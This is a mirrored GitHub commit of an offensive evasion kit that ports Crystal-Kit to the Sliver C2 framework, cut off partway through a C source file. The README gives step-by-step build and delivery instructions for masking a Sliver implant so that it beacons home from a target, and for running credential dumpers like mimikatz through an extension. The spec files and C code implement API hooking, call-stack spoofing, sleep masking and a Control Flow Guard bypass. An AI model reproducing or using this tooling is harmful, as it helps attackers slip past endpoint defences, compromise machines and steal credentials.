mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
feat: rystal Palace evasion kit ported to Sliver C2
This commit is contained in:
+33
@@ -0,0 +1,33 @@
|
||||
# Reference clones (upstream repos pulled locally for analysis only)
|
||||
references/
|
||||
|
||||
# External downloaded tooling (Crystal Palace dist, etc.) — not redistributable
|
||||
external/
|
||||
|
||||
# Sliver operator configs (contain credentials)
|
||||
*.cfg
|
||||
|
||||
# Build artifacts
|
||||
*.o
|
||||
*.obj
|
||||
*.bin
|
||||
*.dll
|
||||
*.exe
|
||||
bin/
|
||||
build/
|
||||
|
||||
# Archives / dist downloads
|
||||
*.tgz
|
||||
*.tar.gz
|
||||
*.zip
|
||||
|
||||
# Crystal Palace prerequisite (proprietary tooling, do NOT commit)
|
||||
*.jar
|
||||
libtcg.x64.zip
|
||||
|
||||
# OS / editor
|
||||
.DS_Store
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*~
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Simone Licitra
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,110 @@
|
||||
# NOTICE
|
||||
|
||||
This project (`crystal-kit-sliver`) is a port to Sliver C2 of upstream
|
||||
evasion tooling. It includes and/or derives from third-party software
|
||||
distributed under the MIT License. All required copyright notices are
|
||||
reproduced below.
|
||||
|
||||
---
|
||||
|
||||
## crystal-kit-sliver
|
||||
|
||||
Copyright (c) 2026 Simone Licitra
|
||||
Licensed under the MIT License (see [LICENSE](LICENSE)).
|
||||
|
||||
This work adapts the `postex-loader` of the upstream Crystal-Kit project,
|
||||
applies the cross-C2 porting pattern introduced by Crystal-Kit-Xenon, and
|
||||
adds Sliver-specific build glue, manifest, and packaging.
|
||||
|
||||
---
|
||||
|
||||
## Upstream — Crystal-Kit
|
||||
|
||||
Source: <https://github.com/rasta-mouse/Crystal-Kit>
|
||||
License: MIT
|
||||
Copyright (c) rasta-mouse
|
||||
|
||||
The contents of `crystal-kit-sliver/loader/` and
|
||||
`crystal-kit-sliver/postex-loader/` are direct copies (with the Xenon
|
||||
adjustments noted below) of the corresponding directories in this
|
||||
upstream repository. All original copyright notices in source files are
|
||||
preserved.
|
||||
|
||||
---
|
||||
|
||||
## Upstream — COFFLoader (BOF compatibility layer)
|
||||
|
||||
Source: <https://github.com/sliverarmory/COFFLoader> (originally TrustedSec)
|
||||
License: BSD-3-Clause
|
||||
Copyright (c) 2020 TrustedSec, LLC
|
||||
|
||||
The files `crystal-kit-sliver/sliver-glue/wrapper/beacon.h`,
|
||||
`beacon_compatibility.h` and `beacon_compatibility.c` are unmodified
|
||||
copies of COFFLoader's Cobalt Strike BOF compatibility layer. They
|
||||
provide `BeaconDataParse`/`BeaconDataExtract`/`BeaconPrintf` used by
|
||||
our Sliver Extension wrapper to decode arguments passed by the implant.
|
||||
All original copyright notices in those source files are preserved.
|
||||
|
||||
---
|
||||
|
||||
## Upstream — Crystal-Kit-Xenon
|
||||
|
||||
Source: <https://github.com/nickswink/Crystal-Kit-Xenon>
|
||||
License: MIT
|
||||
Copyright (c) nickswink
|
||||
|
||||
The Mythic Xenon porting fork introduced two targeted modifications in
|
||||
`postex-loader/`:
|
||||
|
||||
1. `postex-loader/loader.spec`: switched DFR resolution mode from
|
||||
`"strings"` to `"ror13"`; removed Cobalt Strike smart-pointer patches
|
||||
(`$GMH`, `$GPA`); added a `dll_args` section linked from `%ARGFILE`.
|
||||
|
||||
2. `postex-loader/src/loader.c`: added the `_DLLARGS_` section attribute
|
||||
and the `dll_arguments` variable read via `GETRESOURCE`; routed those
|
||||
arguments into the `DLL_PROCESS_ATTACH` entrypoint call; commented out
|
||||
the Cobalt-Strike-specific second `entry_point` call with reason
|
||||
`0x4`.
|
||||
|
||||
These same changes apply unchanged to the Sliver port and are reused as-is.
|
||||
|
||||
---
|
||||
|
||||
## External runtime dependencies (NOT bundled in this repository)
|
||||
|
||||
The following components are required for a successful build but are
|
||||
NOT included in this source tree:
|
||||
|
||||
### Crystal Palace linker (`crystalpalace.jar`)
|
||||
|
||||
Source: <https://tradecraftgarden.org/> (`download/cpdist-latest.tgz`)
|
||||
License: BSD-3-Clause
|
||||
Copyright (c) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
|
||||
Crystal Palace also bundles:
|
||||
- iced disassembler — Copyright (c) iced project and contributors, MIT
|
||||
- JSON in Java (org.json) — Public Domain (CC0 1.0)
|
||||
|
||||
This jar must be downloaded separately. It is invoked at build time via
|
||||
the bundled `./link` wrapper (or directly with `java -jar crystalpalace.jar run ...`).
|
||||
The `generate.sh` script uses the verified positional CLI:
|
||||
`./link <loader.spec> <input.dll> <out.bin> [%KEY=value ...]`
|
||||
|
||||
### `libtcg.x64.zip`
|
||||
|
||||
Source: distributed alongside the upstream Crystal-Kit repository.
|
||||
License: see upstream notice.
|
||||
|
||||
This library appears to be derived from QEMU's Tiny Code Generator (TCG)
|
||||
and may carry LGPL/GPL obligations. Users redistributing builds that
|
||||
include `libtcg.x64.zip` should verify license compliance with their own
|
||||
counsel.
|
||||
|
||||
---
|
||||
|
||||
## Third-party C2 framework
|
||||
|
||||
Sliver C2 — <https://github.com/BishopFox/sliver> — is licensed under
|
||||
GPLv3. This project produces a Sliver Extension that is loaded into the
|
||||
Sliver implant at runtime; the present source code is not a derivative
|
||||
work of Sliver itself.
|
||||
@@ -1 +1,179 @@
|
||||
# CrystalSliver
|
||||
# crystal-kit-sliver
|
||||
|
||||
Crystal Palace evasion kit ported to [Sliver C2](https://sliver.sh).
|
||||
|
||||
This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic).
|
||||
|
||||
- **License:** MIT — Copyright (c) 2026 Simone Licitra
|
||||
- **Target:** Windows x64 only (upstream constraint)
|
||||
- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending.
|
||||
|
||||
---
|
||||
|
||||
## What it does
|
||||
|
||||
Replaces Sliver's default reflective loader and post-ex execution path with [Crystal Palace](https://tradecraftgarden.org/) (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles:
|
||||
|
||||
- ror13 hash-based API resolution (no plain `LoadLibrary` / `GetProcAddress`)
|
||||
- IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||
- Draugr call stack spoofing during callbacks
|
||||
- XOR sleep mask over the embedded DLL
|
||||
- libtcg-based runtime obfuscation
|
||||
|
||||
The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time.
|
||||
|
||||
---
|
||||
|
||||
## Two use cases
|
||||
|
||||
### A — Implant evasion (PRIMARY)
|
||||
|
||||
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD).
|
||||
|
||||
```
|
||||
sliver-server generate --format shared → impl.dll
|
||||
│
|
||||
▼
|
||||
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
|
||||
│
|
||||
▼
|
||||
bundle-implant.sh → drop.zip (PICO + stager + README)
|
||||
│
|
||||
▼ deliver to target
|
||||
▼
|
||||
Windows VM: run.x64.exe sliver.crystal.bin
|
||||
│
|
||||
▼ Crystal Palace loader runs
|
||||
▼ unmask DLL → DllMain → HTTP beacon home
|
||||
```
|
||||
|
||||
### B — Post-ex evasion (SECONDARY)
|
||||
|
||||
Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension.
|
||||
|
||||
```
|
||||
sliver > extensions install crystal-loader-0.1.0.tar.gz
|
||||
sliver > crystal payload=mimikatz.pico.bin
|
||||
```
|
||||
|
||||
The `crystal-loader.x64.dll` is a Sliver DLL Extension that allocates RWX memory, loads the PICO blob, and jumps to the Crystal Palace entrypoint.
|
||||
|
||||
---
|
||||
|
||||
## Repo layout
|
||||
|
||||
```
|
||||
crystal-kit-sliver/
|
||||
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
|
||||
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
|
||||
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
|
||||
└── sliver-glue/ ← Sliver-specific build glue
|
||||
├── extension.json Sliver Extension manifest
|
||||
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
|
||||
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
|
||||
├── bundle-implant.sh Bundle PICO + stager into drop.zip
|
||||
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
|
||||
├── Makefile make objects / package / clean
|
||||
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
|
||||
|
||||
docs/
|
||||
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
|
||||
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
|
||||
└── TOOLCHAIN.md Build prerequisites and pipeline details
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick build (Kali / Debian / Ubuntu)
|
||||
|
||||
```bash
|
||||
# 1. Toolchain
|
||||
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
|
||||
|
||||
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
|
||||
mkdir -p external/crystalpalace
|
||||
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
|
||||
| tar -xz -C external/crystalpalace/
|
||||
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
|
||||
|
||||
# 3. Build everything
|
||||
make -C crystal-kit-sliver/loader all
|
||||
make -C crystal-kit-sliver/postex-loader all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
|
||||
|
||||
# 4. Use case A — wrap a Sliver implant
|
||||
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
|
||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
||||
|
||||
# 5. Use case B — wrap a post-ex DLL
|
||||
./crystal-kit-sliver/sliver-glue/generate.sh /path/to/postex.dll /dev/null \
|
||||
crystal-kit-sliver/sliver-glue/build/postex.pico.bin
|
||||
./crystal-kit-sliver/sliver-glue/pack-extension.sh
|
||||
```
|
||||
|
||||
See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting).
|
||||
|
||||
---
|
||||
|
||||
## What is verified
|
||||
|
||||
| Item | Status | Evidence |
|
||||
|---|---|---|
|
||||
| All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01 | OK | `make all` clean, 8 `.o` + 1 `.bin` per loader |
|
||||
| Xenon post-ex patches present | OK | `dfr "ror13"`, `_DLLARGS_` section, `dll_arguments` param in `DLL_PROCESS_ATTACH` |
|
||||
| Crystal Palace CLI verified | OK | `./link <spec> <dll> <out.bin> [%KEY=value]` — positional, documented in `dist/README` |
|
||||
| End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL |
|
||||
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
|
||||
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
|
||||
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
|
||||
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
|
||||
| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 |
|
||||
|
||||
---
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Dependency | License | How to obtain | Bundled? |
|
||||
|---|---|---|---|
|
||||
| Crystal Palace (`crystalpalace.jar`, `link`, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | No (`.gitignore` excludes `external/`) |
|
||||
| `libtcg.x64.zip` | Upstream binary, license unstated (likely QEMU TCG-derived) | Copied from upstream Crystal-Kit repo | Yes, kept in tree for build convenience |
|
||||
| Sliver C2 | GPLv3 | <https://sliver.sh> | No — runtime dependency only |
|
||||
| MinGW-w64 + NASM | GPL-compatible | `apt install` or `brew install` | No |
|
||||
|
||||
This repository does NOT redistribute `crystalpalace.jar`. The build pipeline fetches it externally and references it via the `CRYSTAL_PALACE_HOME` environment variable.
|
||||
|
||||
---
|
||||
|
||||
## Attribution
|
||||
|
||||
See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licenses. Brief summary:
|
||||
|
||||
- **rasta-mouse** — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files
|
||||
- **nickswink** — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + `dll_args` section)
|
||||
- **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — linker and PIC tooling
|
||||
- **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF compatibility layer (`beacon.h`, `beacon_compatibility.c/h`)
|
||||
- **BishopFox** — Sliver C2 (GPLv3) — target framework
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
- [x] 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon
|
||||
- [x] 2 — Toolchain documentation + repository scaffold
|
||||
- [x] 3 — File-by-file porting map with literal diffs (`docs/PORTING_MAP.md`)
|
||||
- [x] 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE
|
||||
- [x] 5 — `sliver-glue/` glue scripts and Extension manifest
|
||||
- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
|
||||
- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end
|
||||
- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh`
|
||||
- [ ] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows)
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse.
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# crystal-kit-sliver/
|
||||
|
||||
Source tree for the Crystal Palace ↔ Sliver port. See the [project root README](../README.md) for the overview, build instructions, and operational flow.
|
||||
|
||||
## Layout
|
||||
|
||||
| Directory | Contents |
|
||||
|---|---|
|
||||
| `loader/` | Reflective loader sources (Use case A, implant evasion). Verbatim copy of `loader/` from upstream Crystal-Kit. |
|
||||
| `postex-loader/` | Post-ex loader sources (Use case B). Crystal-Kit upstream + Xenon patch (DFR → `ror13`, removed `$GMH`/`$GPA` CS smart pointers, added `dll_args` section). |
|
||||
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
|
||||
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
|
||||
|
||||
## Build entry points
|
||||
|
||||
- `make -C loader all` — produce 8 `.o` files + 1 `.bin` under `loader/bin/`
|
||||
- `make -C postex-loader all` — same for postex
|
||||
- `make -C sliver-glue/wrapper all` — produce `sliver-glue/crystal-loader.x64.dll` (Sliver Extension)
|
||||
- `sliver-glue/generate.sh` — Use case B build wrapper
|
||||
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
|
||||
- `sliver-glue/bundle-implant.sh` — Use case A drop packager
|
||||
- `sliver-glue/pack-extension.sh` — Use case B tarball packager
|
||||
|
||||
## Required environment
|
||||
|
||||
```bash
|
||||
export CRYSTAL_PALACE_HOME=/path/to/external/crystalpalace/dist
|
||||
# Optional, only for generate-implant.sh --profile mode:
|
||||
export SLIVER_SERVER=/path/to/sliver-server
|
||||
```
|
||||
|
||||
## Detailed documentation
|
||||
|
||||
- License: [`../LICENSE`](../LICENSE) — MIT, © 2026 Simone Licitra
|
||||
- Upstream attributions: [`../NOTICE.md`](../NOTICE.md)
|
||||
@@ -0,0 +1,22 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -0,0 +1,46 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,50 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "patch_resolve" "strings"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# patch smart pointers in
|
||||
patch "get_module_handle" $GMH
|
||||
patch "get_proc_address" $GPA
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,77 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge mask
|
||||
load "bin/mask.x64.o"
|
||||
merge
|
||||
|
||||
# generate and patch in a random key
|
||||
generate $KEY 128
|
||||
patch "xorkey" $KEY
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "WS2_32$WSAStartup" "_WSAStartup"
|
||||
addhook "WS2_32$WSASocketA" "_WSASocketA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$HeapAlloc" "_HeapAlloc"
|
||||
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
|
||||
addhook "KERNEL32$HeapFree" "_HeapFree"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
addhook "KERNEL32$OpenThread" "_OpenThread"
|
||||
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
|
||||
addhook "KERNEL32$ResumeThread" "_ResumeThread"
|
||||
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
# hook functions in pico
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,113 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
